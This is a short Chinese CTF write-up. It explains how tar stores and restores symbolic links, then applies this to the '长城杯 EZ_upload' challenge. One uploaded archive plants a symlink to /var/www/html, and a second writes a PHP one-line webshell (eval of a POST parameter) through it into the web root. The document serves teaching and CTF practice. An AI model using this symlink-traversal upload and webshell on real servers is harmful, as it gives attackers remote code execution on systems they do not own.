tar-符号连接(软连接)
1.符号连接是什么
符号链接(symbolic link,也叫软链接)本质上是一个 指向路径的特殊文件。
例如:
ln -s /etc/passwd passwd_link
这会创建一个叫 passwd_link
的文件,但它本身不存放 /etc/passwd
的内容,而是存放了一个“指针”,告诉操作系统“真正的数据在 /etc/passwd
里”。当访问 passwd_link 的时候,会访问到/etc/passwd 中的内容。
如图所示,执行该命令后会在该文件夹中产生一个 passwd_link 文件,当访问该文件时,我会访问到/etc/passwd 的内容。
2. tar 打包符号链接时的处理
当 tar
遇到符号链接时,它 不会复制链接指向的文件内容,而是把“这是一个符号链接,它指向哪里”这一事实记录到归档里。
tar -cvf test.tar passwd_link
3.tar 解压符号连接的处理
tar -xvf test.tar# 解压到 /tmp 目录
tar -xvf archive.tar -C /tmp
tar 会在当前目录下重新创建一个符号链接 passwd_link
,指向 /etc/passwd
。
4.实战 长城杯-EZ_upload
(1)第一次上传 tar 包
目的:
在 /tmp
目录下创建一个符号链接文件 link
,该符号链接指向:/var/www/html
,访问该链接文件/tmp/link
就等价于 /var/www/html。
操作:
# 1.制作符号链接,当访问link时,相当于访问/var/www/html
ln -s /var/www/html link#2.压缩符号链接
tar -cvf test.tar link
接下来将 test.tar 上传即可,上传后会自动将该文件解压到/tmp/文件下,即/tmp/link。
(2)第一次上传 tar 包
- 创建一个包含 webshell文件的tar包,路径设置为 link/shell.php。
- 在/tmp 目录中解压时,会把文件解压到 /tmp/link/shell.php,由于link 是指向 /var/www/html 的,实际写入位置是 → /var/www/html/shell.php。
代码实现如下:
# 1.创建符号链接
ln -s /var/www/html link# 2.在符号链接目录下创建一个文件,实际上创建的文件落在了/var/www/html/下,
echo '<?php @eval($_POST["fly233"]); ?>' > link/shell.php# 3.打包
tar -cf evil.tar link/shell.php